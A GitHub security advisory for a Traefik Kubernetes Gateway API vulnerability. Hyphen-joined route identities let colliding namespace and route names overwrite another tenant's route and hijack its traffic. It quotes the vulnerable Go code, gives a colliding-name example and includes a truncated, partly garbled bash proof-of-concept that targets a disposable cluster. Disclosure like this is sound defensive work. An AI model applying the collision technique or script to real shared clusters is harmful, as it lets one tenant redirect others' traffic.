GitHub Advisoryadvisory · Go
GHSA-fgjj-px3w-67xx Traefik: Gateway API route identity collision allows cross-namespace backend hijacking
HIGH
Official page ↗
- Aliases
- CVE-2026-71327
- Ecosystem
- Go
- Packages
- github.com/traefik/traefik/v3
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N
- Weaknesses
- CWE-694
- Reviewed
- 2026-08-06
Affected packages
• Go github.com/traefik/traefik/v3: >= 3.0.0, < 3.6.25 → fixed in 3.6.25
• Go github.com/traefik/traefik/v3: >= 3.7.0, < 3.7.10 → fixed in 3.7.10
Description
Summary
There is a high severity vulnerability in Traefik's Kubernetes Gateway API provider. Router and service identities for `HTTPRoute`, `GRPCRoute`, `TCPRoute` and `TLSRoute` objects were built by hyphen-concatenating the route namespace, the route name, the Gateway identity, the entry point and the rule index, a construction that is not injective because Kubernetes names may themselves contain hyphens. Two distinct Routes attached to the same Gateway with equivalent match rules can therefore produce the same identity, and the Route loaded later silently overwrites the earlier one, so a tenant able to create an accepted Route in a colliding namespace/name combination can redirect another namespace's traffic to a backend it controls. All Traefik v3 minor lines are affected; the lines older than v3.6 are no longer maintained and will not receive a patch of their own, so users running them should upgrade to a maintained, patched release.
Patches
• https://github.com/traefik/traefik/releases/tag/v3.6.25
• https://github.com/traefik/traefik/releases/tag/v3.7.10
For more information
If you have any questions or comments about this advisory, please open an issue.
Original Description
Summary
Traefik's Kubernetes Gateway provider constructs internal HTTPRoute and
GRPCRoute identities by concatenating namespace, route name, Gateway identity,
entrypoint, and rule index with hyphens. Kubernetes names may themselves
contain hyphens, so the construction is not injective.
For example, HTTPRoutes `team/a-app` and `team-a/app`, attached to the same
Gateway with the same match rule, produce identical router and service keys.
During configuration merging, the route loaded later overwrites the earlier
route's maps. A tenant that can create an accepted Route in a colliding
namespace/name combination can therefore redirect another namespace's
traffic to an attacker-controlled backend.
The official v3.7.8 binary was reproduced returning the victim backend before
the second Route was created and the attacker backend immediately afterward.
The victim Route had the earlier creation timestamp and should win the
equivalent-match conflict under Gateway API precedence rules.
Details
The HTTPRoute provider creates a route key as follows:
```go
routeKey := provider.Normalize(fmt.Sprintf(
"%s-%s-%s-gw-%s-%s-ep-%s-%d",
strings.ToLower(kindHTTPRoute),
route.Namespace,
route.Name,
gatewayNamespace,
gatewayName,
listener.EPName,
ri,
))
```
`Normalize` replaces non-alphanumeric runs with `-`, but it does not encode
field lengths or otherwise preserve component boundaries:
```go
func Normalize(name string) string {
fargs := func(c rune) bool {
return !unicode.IsLetter(c) && !unicode.IsNumber(c)
}
return strings.Join(strings.FieldsFunc(name, fargs), "-")
}
```
These distinct objects therefore have the same normalized key:
```text
namespace=team, route=a-app
namespace=team-a, route=app
httproute-team-a-app-gw-gateway-shared-ep-web-0
```
`makeRouterName` adds a hash of the routing rule. When the attacker copies the
victim's hostname and path, that hash is also identical. Child service and
middleware names are derived from the same parent identity.
Each Route is built into a temporary configuration and then merged into the
provider-wide configuration with `maps.Copy`:
```go
maps.Copy(to.HTTP.Routers, from.HTTP.Routers)
maps.Copy(to.HTTP.Middlewares, from.HTTP.Middlewares)
maps.Copy(to.HTTP.Services, from.HTTP.Services)
maps.Copy(to.HTTP.ServersTransports, from.HTTP.ServersTransports)
```
`maps.Copy` replaces an existing value for a duplicate key. No collision is
reported, and the resulting router points to the later Route's backend. The
GRPCRoute implementation uses the same delimiter-free route-key format and
the same HTTP configuration merge path.
Attack prerequisites
The attacker needs permission to create or modify an HTTPRoute or GRPCRoute
that the shared Gateway accepts. Exploitation also requires namespace and
Route names whose concatenation collides with a victim. The attacker does not
need permission to read or modify the victim Route, Service, or namespace.
Proof of Concept
Prerequisites:
• a disposable Kubernetes cluster with Gateway API v1.5.1 experimental CRDs;
• `kubectl` configured for that cluster;
• curl;
• local TCP port 18080 available.
The following script embeds all objects used by the reproduction. It runs the
official `traefik:v3.7.8` image, creates the victim Route first, verifies the
victim backend, then creates the colliding attacker Route and repeats the
request.
```bash
!/usr/bin/env bash
set -euo pipefail
kubectl apply -f - /dev/null 2>&1 &
PORT_FORWARD_PID=$!
trap 'kill "$PORT_FORWARD_PID" 2>/dev/null || true' EXIT
for _ in $(seq 1 60); do
RESPONSE=$(curl -sS -H 'Host: collision.example' \
http://127.0.0.1:18080/ 2>/dev/null || true)
if [ "$RESPONSE" = "VICTIM_BACKEND" ]; then
break
fi
sleep 1
done
printf 'before collision: %s\n' "$RESPONSE"
sleep 2
kubectl apply -f - <<'YAML'
apiVersion: apps/v1
kind: Deployment
metadata:
name: attacker
namespace: team-a
spec:
replicas: 1
selector:
matchLabels:
app: attacker
template:
me…
Related
Alias · CVE (1)
- CVE-2026-71327 Traefik is an open source HTTP reverse proxy and load balancer. vulnerability
Weakness · CWE (1)
- CWE-694 Use of Multiple Resources with Duplicate Identifier weakness
References
- https://github.com/traefik/traefik/security/advisories/GHSA-fgjj-px3w-67xx web
- https://github.com/traefik/traefik/pull/13580 web
- https://github.com/traefik/traefik/commit/a764166656f0cd337f917ac76315c381cca844f9 web
- https://github.com/traefik/traefik package
- https://github.com/traefik/traefik/releases/tag/v3.6.25 web
- https://github.com/traefik/traefik/releases/tag/v3.7.10 web